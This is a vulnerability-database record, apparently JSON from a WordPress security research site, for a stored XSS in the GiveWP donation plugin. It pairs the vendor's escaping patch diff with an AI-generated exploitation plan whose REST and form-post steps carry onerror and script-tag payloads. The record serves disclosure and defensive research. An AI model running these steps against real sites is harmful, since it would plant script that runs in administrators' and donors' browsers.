[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fS1pB6G9yTQaWyYf0wDyi-akGdd00XGHc4Is9dY9nU8E":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-13704","givewp-authenticated-give-worker-stored-cross-site-scripting-via-sequioa-form","GiveWP \u003C= 4.16.1 - Authenticated (Give Worker+) Stored Cross-Site Scripting via Sequioa Form","The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sequoia[introduction][image]' parameter in all versions up to, and including, 4.16.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Give Worker-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","give",null,"\u003C=4.16.1","4.16.2","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-01 17:15:16","2026-07-08 18:39:18",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fee18552b-2814-4598-9b7b-7c919d6d644e?source=api-prod",7,[22,23,24,25,26,27,28,29],"changelog.txt","give.php","includes\u002Fadmin\u002Fforms\u002Fclass-metabox-form-data.php","includes\u002Fforms\u002Ftemplate.php","languages\u002Fgive.pot","readme.txt","src\u002FViews\u002FForm\u002FTemplates\u002FSequoia\u002Fsections\u002Fintroduction.php","vendor\u002Fcomposer\u002Finstalled.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-13704 (GiveWP Stored XSS)\n\n## 1. Vulnerability Summary\nGiveWP (\u003C= 4.16.1) contains a Stored Cross-Site Scripting (XSS) vulnerability in the \"Sequoia\" form template. The vulnerability occurs because the plugin fails to sanitize or escape the image URL parameter (`sequoia[introduction][image]`) when rendering the introduction section of a donation form. An authenticated attacker with \"Give Worker\" permissions (or higher) can inject arbitrary JavaScript, which executes in the context of any user (including administrators) viewing the donation form.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** WordPress REST API or Admin Form Save.\n- **Vulnerable Parameter:** `sequoia[introduction][image]` (within the form configuration object).\n- **Authentication Required:** Authenticated (\"Give Worker\" role or higher). Give Worker is a custom role provided by GiveWP.\n- **Preconditions:** A donation form must be created using the \"Sequoia\" template.\n- **Sink:** `src\u002FViews\u002FForm\u002FTemplates\u002FSequoia\u002Fsections\u002Fintroduction.php`\n\n## 3. Code Flow\n1. **Input:** The attacker sends a request to update a GiveWP donation form. The payload is placed in the nested structure `sequoia -> introduction -> image`.\n2. **Storage:** The plugin updates the form settings, likely stored as post metadata under the `_give_form_settings` or `_give_sequoia_template_settings` (inferred) key for the `give_forms` post type.\n3. **Retrieval:** When a donation form is viewed, the `Give\\Form\\Templates\\Sequoia` class (inferred from file structure) retrieves these settings.\n4. **Rendering:** The file `src\u002FViews\u002FForm\u002FTemplates\u002FSequoia\u002Fsections\u002Fintroduction.php` is loaded.\n5. **Execution (Sink):** At lines 31-35:\n   ```php\n   if ( ! empty($image)) : ?>\n       \u003Cdiv class=\"image\">\n           \u003Cimg src=\"\u003C?php\n           echo $image; ?>\" \u002F>\n       \u003C\u002Fdiv>\n   \u003C?php\n   endif; ?>\n   ```\n   The variable `$image` is echoed directly into the `src` attribute without `esc_url()` or `esc_attr()`.\n\n## 4. Nonce Acquisition Strategy\nGiveWP's Visual Form Builder and modern templates primarily interact via the WordPress REST API. To exploit this, the agent must obtain a `wp_rest` nonce.\n\n1. **Shortcode Identification:** The Sequoia template is used for forms rendered via the `[give_form]` shortcode or the dedicated GiveWP Form block.\n2. **Page Creation:**\n   - Create a page with the Sequoia form: `wp post create --post_type=page --post_title=\"Donate\" --post_status=publish --post_content='[give_form id=\"FOR_ID\"]'`\n3. **Nonce Extraction:**\n   - Navigate to the WordPress Admin dashboard as a Give Worker.\n   - Use `browser_eval` to extract the REST nonce from the global `wpApiSettings` object (standard WordPress) or GiveWP's localized data.\n   - **Target Variable:** `window.wpApiSettings.nonce` or `window.give_vars.nonce` (inferred).\n\n## 5. Exploitation Strategy\nThe goal is to update an existing donation form's configuration to include a malicious `onerror` attribute in the image tag.\n\n### Step 1: Identify Form ID\nList existing forms to find a target:\n`wp post list --post_type=give_forms`\n\n### Step 2: Inject Payload\nUse the `http_request` tool to update the form via the REST API. \n\n- **Method:** `POST`\n- **URL:** `\u002Fwp-json\u002Fgive-api\u002Fv2\u002Fforms\u002F{ID}` (Note: The exact V2\u002FV3 endpoint path should be verified via `wp-json` discovery).\n- **Headers:** \n    - `X-WP-Nonce: [EXTRACTED_NONCE]`\n    - `Content-Type: application\u002Fjson`\n- **Payload:**\n  ```json\n  {\n    \"settings\": {\n      \"template\": \"sequoia\",\n      \"sequoia\": {\n        \"introduction\": {\n          \"image\": \"x\\\" onerror=\\\"alert(document.domain)\\\"\"\n        }\n      }\n    }\n  }\n  ```\n  *Note: If the REST API structure differs, the fallback is to use the Admin `save_post` hook via a multipart\u002Fform-data POST to `\u002Fwp-admin\u002Fpost.php`.*\n\n### Step 3: Trigger XSS\nNavigate to the frontend page where the form is published.\n- **URL:** `\u002F?post_type=give_forms&p={ID}` or the page created in Step 4.\n\n## 6. Test Data Setup\n1. **User Role:** Create a user with the Give Worker role.\n   `wp user create attacker attacker@example.com --role=give_worker --user_pass=password`\n2. **Form Creation:** Create a donation form using the Sequoia template.\n   `wp post create --post_type=give_forms --post_title=\"XSS Test Form\" --post_status=publish`\n   `wp post meta update [NEW_ID] _give_form_template sequoia`\n3. **Landing Page:** Ensure a page exists to view the form.\n\n## 7. Expected Results\n- The HTTP response for the update should return `200 OK`.\n- When viewing the form, the HTML source should contain:\n  `\u003Cimg src=\"x\" onerror=\"alert(document.domain)\" \u002F>`\n- A JavaScript alert box should appear in the browser.\n\n## 8. Verification Steps\nAfter the HTTP request, verify the injection in the database:\n`wp post meta get [ID] [META_KEY_FOUND_DURING_RESEARCH]`\n(Likely `_give_form_settings`)\n\nCheck if the payload is present in the serialized or JSON data:\n`wp post meta get [ID] _give_form_settings | grep \"onerror\"`\n\n## 9. Alternative Approaches\nIf the REST API requires higher privileges than Give Worker, use the Metabox save route:\n1. **Endpoint:** `POST \u002Fwp-admin\u002Fpost.php`\n2. **Body:**\n   - `action=editpost`\n   - `post_ID=[ID]`\n   - `_give_form_template=sequoia`\n   - `sequoia[introduction][image]=x\" onerror=\"alert(1)\"`\n   - `_wpnonce=[NONCE_FROM_EDIT_PAGE]`\n\nIf `onerror` is filtered by a firewall, use a simple tag breakout:\n`\">\u003Cscript>alert(1)\u003C\u002Fscript>` which would result in:\n`\u003Cimg src=\"\">\u003Cscript>alert(1)\u003C\u002Fscript>\" \u002F>` (broken but effective).","The GiveWP plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the Sequoia form template in versions up to 4.16.1. This is caused by a failure to sanitize and escape the introduction image URL before rendering it in the form's HTML, allowing authenticated attackers with Give Worker-level access or higher to execute arbitrary scripts in the browsers of users viewing the form.","\u002F\u002F src\u002FViews\u002FForm\u002FTemplates\u002FSequoia\u002Fsections\u002Fintroduction.php:33\n    \u003C?php\n    if ( ! empty($image)) : ?>\n        \u003Cdiv class=\"image\">\n            \u003Cimg src=\"\u003C?php\n            echo $image; ?>\" \u002F>\n        \u003C\u002Fdiv>\n    \u003C?php\n    endif; ?>\n\n---\n\n\u002F\u002F includes\u002Fforms\u002Ftemplate.php:2038\n\t\u003Cdiv class=\"give-submit-button-wrap give-clearfix\">\n\t\t\u003Cinput type=\"submit\" class=\"give-submit give-btn\" id=\"give-purchase-button\" name=\"give-purchase\"\n\t\t\t   value=\"\u003C?php echo $display_label; ?>\" data-before-validation-label=\"\u003C?php echo $display_label; ?>\"\u002F>\n\t\t\u003Cspan class=\"give-loading-animation\">\u003C\u002Fspan>\n\t\u003C\u002Fdiv>","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.1\u002Fchangelog.txt \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.2\u002Fchangelog.txt\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.1\u002Fchangelog.txt\t2026-06-29 13:55:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.2\u002Fchangelog.txt\t2026-07-01 15:01:16.000000000 +0000\n@@ -1,5 +1,8 @@\n == Changelog ==\n \n+= 4.16.2: July 1st, 2026 =\n+* Security: Added additional escaping and sanitization to the Sequoia (Multi-Step Form) template settings and donation form markup (CVE-2026-13704).\n+\n = 4.16.1: June 29th, 2026 =\n * Security: Standardized email access confirmation AJAX responses to prevent distinguishable server responses.\n * Security: Added additional escaping and sanitization to the Campaign Comments block and shortcode attributes (CVE-2026-13246).\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.1\u002Fgive.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.2\u002Fgive.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.1\u002Fgive.php\t2026-06-29 13:55:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.2\u002Fgive.php\t2026-07-01 15:01:16.000000000 +0000\n@@ -6,7 +6,7 @@\n  * Description: The most robust, flexible, and intuitive way to accept donations on WordPress.\n  * Author: GiveWP\n  * Author URI: https:\u002F\u002Fgivewp.com\u002F\n- * Version: 4.16.1\n+ * Version: 4.16.2\n  * Requires at least: 6.6\n  * Requires PHP: 7.4\n  * Text Domain: give\n@@ -426,7 +426,7 @@\n     {\n         \u002F\u002F Plugin version.\n         if (!defined('GIVE_VERSION')) {\n-            define('GIVE_VERSION', '4.16.1');\n+            define('GIVE_VERSION', '4.16.2');\n         }\n \n         \u002F\u002F Plugin Root File.\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.1\u002Fincludes\u002Fadmin\u002Fforms\u002Fclass-metabox-form-data.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.2\u002Fincludes\u002Fadmin\u002Fforms\u002Fclass-metabox-form-data.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.1\u002Fincludes\u002Fadmin\u002Fforms\u002Fclass-metabox-form-data.php\t2025-05-21 20:18:30.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.2\u002Fincludes\u002Fadmin\u002Fforms\u002Fclass-metabox-form-data.php\t2026-07-01 15:01:16.000000000 +0000\n@@ -1095,6 +1095,8 @@\n \t\u002F**\n \t * Save form template setting handler\n \t *\n+\t * @since 4.16.2 Normalize file field values as URLs when saving form template settings.\n+\t *\n \t * @param string $meta_key\n \t * @param string $new_template\n \t * @param int    $formID\n@@ -1145,6 +1147,10 @@\n \t\t\t\t\t\t$value = $options[ $group->id ][ $field->id ];\n \t\t\t\t\t\tbreak;\n \n+\t\t\t\t\tcase 'file':\n+\t\t\t\t\t\t$value = esc_url_raw( $options[ $group->id ][ $field->id ] );\n+\t\t\t\t\t\tbreak;\n+\n \t\t\t\t\tcase 'group':\n \t\t\t\t\t\t\u002F* @var \\Give\\FormAPI\\Form\\Group $field *\u002F\n \t\t\t\t\t\tforeach ( $options[ $group->id ][ $field->id ] as $index => $subFields ) {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.1\u002Fincludes\u002Fforms\u002Ftemplate.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.2\u002Fincludes\u002Fforms\u002Ftemplate.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.1\u002Fincludes\u002Fforms\u002Ftemplate.php\t2025-09-17 16:52:40.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.2\u002Fincludes\u002Fforms\u002Ftemplate.php\t2026-07-01 15:01:16.000000000 +0000\n@@ -2021,11 +2021,13 @@\n \u002F**\n  * Give Donation form submit button.\n  *\n+ * @since 4.16.2 Escape submit button label in form markup.\n+ * @since  1.8.8\n+ *\n  * @param int   $form_id The form ID.\n  * @param array $args\n  *\n  * @return string\n- * @since  1.8.8\n  *\u002F\n function give_get_donation_form_submit_button( $form_id, $args = [] ) {\n \n@@ -2036,7 +2038,7 @@\n \t?>\n \t\u003Cdiv class=\"give-submit-button-wrap give-clearfix\">\n \t\t\u003Cinput type=\"submit\" class=\"give-submit give-btn\" id=\"give-purchase-button\" name=\"give-purchase\"\n-\t\t\t   value=\"\u003C?php echo $display_label; ?>\" data-before-validation-label=\"\u003C?php echo $display_label; ?>\"\u002F>\n+\t\t\t   value=\"\u003C?php echo esc_attr( $display_label ); ?>\" data-before-validation-label=\"\u003C?php echo esc_attr( $display_label ); ?>\"\u002F>\n \t\t\u003Cspan class=\"give-loading-animation\">\u003C\u002Fspan>\n \t\u003C\u002Fdiv>\n \t\u003C?php\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.1\u002Flanguages\u002Fgive.pot \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.2\u002Flanguages\u002Fgive.pot\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.1\u002Flanguages\u002Fgive.pot\t2026-06-29 13:55:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.2\u002Flanguages\u002Fgive.pot\t2026-07-01 15:01:16.000000000 +0000\n@@ -2,14 +2,14 @@\n # This file is distributed under the same license as the Give - Donation Plugin plugin.\n msgid \"\"\n msgstr \"\"\n-\"Project-Id-Version: Give - Donation Plugin 4.16.1\\n\"\n+\"Project-Id-Version: Give - Donation Plugin 4.16.2\\n\"\n \"Report-Msgid-Bugs-To: https:\u002F\u002Fwordpress.org\u002Fsupport\u002Fplugin\u002Fgivewp\\n\"\n \"Last-Translator: FULL NAME \u003CEMAIL@ADDRESS>\\n\"\n \"Language-Team: LANGUAGE \u003CLL@li.org>\\n\"\n \"MIME-Version: 1.0\\n\"\n \"Content-Type: text\u002Fplain; charset=UTF-8\\n\"\n \"Content-Transfer-Encoding: 8bit\\n\"\n-\"POT-Creation-Date: 2026-06-29T13:49:57+00:00\\n\"\n+\"POT-Creation-Date: 2026-07-01T14:53:55+00:00\\n\"\n \"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\\n\"\n \"X-Generator: WP-CLI 2.12.0\\n\"\n \"X-Domain: give\\n\"\n@@ -133,7 +133,7 @@\n #: build\u002FCampaigns\u002FBlocks\u002FCampaignForm\u002Frender.php:26\n #: includes\u002Fforms\u002Ftemplate.php:695\n #: includes\u002Fforms\u002Ftemplate.php:725\n-#: includes\u002Fforms\u002Ftemplate.php:2034\n+#: includes\u002Fforms\u002Ftemplate.php:2036\n #: includes\u002Fforms\u002Fwidget.php:172\n #: includes\u002Fgateways\u002Fstripe\u002Fincludes\u002Fgive-stripe-scripts.php:54\n #: includes\u002Fshortcodes.php:658\n@@ -2892,7 +2892,7 @@\n msgid \"Goal Statistics\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fforms\u002Fclass-metabox-form-data.php:1416\n+#: includes\u002Fadmin\u002Fforms\u002Fclass-metabox-form-data.php:1422\n #: includes\u002Fadmin\u002Fsettings\u002Fclass-settings-gateways.php:229\n #: includes\u002Fgateways\u002Foffline-donations.php:41\n #: includes\u002Fgateways\u002Foffline-donations.php:82\n@@ -14556,7 +14556,7 @@\n msgid \"Hide Terms\"\n msgstr \"\"\n \n-#: includes\u002Fforms\u002Ftemplate.php:2303\n+#: includes\u002Fforms\u002Ftemplate.php:2305\n #: includes\u002Fgateways\u002Fstripe\u002Fincludes\u002Fclass-give-stripe-gateway.php:121\n #: includes\u002Fgateways\u002Fstripe\u002Fincludes\u002Fclass-give-stripe-gateway.php:132\n #: includes\u002Fgateways\u002Fstripe\u002Fincludes\u002Fclass-give-stripe-gateway.php:143\n@@ -14569,11 +14569,11 @@\n msgid \"Notice:\"\n msgstr \"\"\n \n-#: includes\u002Fforms\u002Ftemplate.php:2303\n+#: includes\u002Fforms\u002Ftemplate.php:2305\n msgid \"Test mode is enabled. While in test mode no live donations are processed.\"\n msgstr \"\"\n \n-#: includes\u002Fforms\u002Ftemplate.php:2332\n+#: includes\u002Fforms\u002Ftemplate.php:2334\n msgid \"Please log in in order to complete your donation.\"\n msgstr \"\"\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.1\u002Freadme.txt \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.2\u002Freadme.txt\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.1\u002Freadme.txt\t2026-06-29 13:55:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.2\u002Freadme.txt\t2026-07-01 15:01:16.000000000 +0000\n@@ -5,7 +5,7 @@\n Requires at least: 6.6\n Tested up to: 7.0\n Requires PHP: 7.4\n-Stable tag: 4.16.1\n+Stable tag: 4.16.2\n License: GPLv3\n License URI: http:\u002F\u002Fwww.gnu.org\u002Flicenses\u002Fgpl-3.0.html\n \n@@ -273,6 +273,9 @@\n 10. Use almost any payment gateway integration with GiveWP through our add-ons or by creating your own add-on.\n \n == Changelog ==\n+= 4.16.2: July 1st, 2026 =\n+* Security: Added additional escaping and sanitization to the Sequoia (Multi-Step Form) template settings and donation form markup (CVE-2026-13704).\n+\n = 4.16.1: June 29th, 2026 =\n * Security: Standardized email access confirmation AJAX responses to prevent distinguishable server responses.\n * Security: Added additional escaping and sanitization to the Campaign Comments block and shortcode attributes (CVE-2026-13246).\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.1\u002Fsrc\u002FViews\u002FForm\u002FTemplates\u002FSequoia\u002Fsections\u002Fintroduction.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.2\u002Fsrc\u002FViews\u002FForm\u002FTemplates\u002FSequoia\u002Fsections\u002Fintroduction.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.1\u002Fsrc\u002FViews\u002FForm\u002FTemplates\u002FSequoia\u002Fsections\u002Fintroduction.php\t2021-11-23 23:55:18.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.2\u002Fsrc\u002FViews\u002FForm\u002FTemplates\u002FSequoia\u002Fsections\u002Fintroduction.php\t2026-07-01 15:01:16.000000000 +0000\n@@ -1,5 +1,9 @@\n \u003C?php\n \n+\u002F**\n+ * @since 4.16.2 Escape introduction image URL when rendering the template.\n+ *\u002F\n+\n use Give\\Helpers\\Form\\Template\\Utils\\Frontend as FrontendFormTemplateUtils;\n \n $formInfo = get_post(FrontendFormTemplateUtils::getFormId());\n@@ -30,8 +34,7 @@\n     \u003C?php\n     if ( ! empty($image)) : ?>\n         \u003Cdiv class=\"image\">\n-            \u003Cimg src=\"\u003C?php\n-            echo $image; ?>\" \u002F>\n+            \u003Cimg src=\"\u003C?php echo esc_url( $image ); ?>\" \u002F>\n         \u003C\u002Fdiv>\n     \u003C?php\n     endif; ?>\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.1\u002Fvendor\u002Fcomposer\u002Finstalled.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.2\u002Fvendor\u002Fcomposer\u002Finstalled.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.1\u002Fvendor\u002Fcomposer\u002Finstalled.php\t2026-06-29 13:55:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.16.2\u002Fvendor\u002Fcomposer\u002Finstalled.php\t2026-07-01 15:01:16.000000000 +0000\n@@ -1,9 +1,9 @@\n \u003C?php return array(\n     'root' => array(\n         'name' => 'impress-org\u002Fgive',\n-        'pretty_version' => '4.16.1',\n-        'version' => '4.16.1.0',\n-        'reference' => 'fdda404b7e9d021966f10cb0da1e6b58bd88ec3c',\n+        'pretty_version' => '4.16.2',\n+        'version' => '4.16.2.0',\n+        'reference' => '22eba7d49d574a629258cdd18ed14e0f2595eb66',\n         'type' => 'wordpress-plugin',\n         'install_path' => __DIR__ . '\u002F..\u002F..\u002F',\n         'aliases' => array(),\n@@ -20,9 +20,9 @@\n             'dev_requirement' => false,\n         ),\n         'impress-org\u002Fgive' => array(\n-            'pretty_version' => '4.16.1',\n-            'version' => '4.16.1.0',\n-            'reference' => 'fdda404b7e9d021966f10cb0da1e6b58bd88ec3c',\n+            'pretty_version' => '4.16.2',\n+            'version' => '4.16.2.0',\n+            'reference' => '22eba7d49d574a629258cdd18ed14e0f2595eb66',\n             'type' => 'wordpress-plugin',\n             'install_path' => __DIR__ . '\u002F..\u002F..\u002F',\n             'aliases' => array(),","The exploit requires authentication with the 'Give Worker' role (or higher). An attacker targets a donation form utilizing the 'Sequoia' template. Using either the WordPress REST API (e.g., `POST \u002Fwp-json\u002Fgive-api\u002Fv2\u002Fforms\u002F{ID}`) or the admin dashboard form-save endpoint, the attacker submits a request containing a malicious XSS payload (e.g., `x\" onerror=\"alert(document.domain)\"`) within the `sequoia[introduction][image]` parameter. This payload is stored in the form's metadata. When any user subsequently views the affected donation form, the malicious script is rendered into the `src` attribute of an `\u003Cimg>` tag without escaping, triggering the execution of the injected JavaScript.","gemini-3-flash-preview","2026-07-25 11:27:54","2026-07-25 11:29:03",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","4.16.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgive\u002Ftags\u002F4.16.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgive.4.16.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgive\u002Ftags\u002F4.16.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgive.4.16.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgive\u002Ftags"]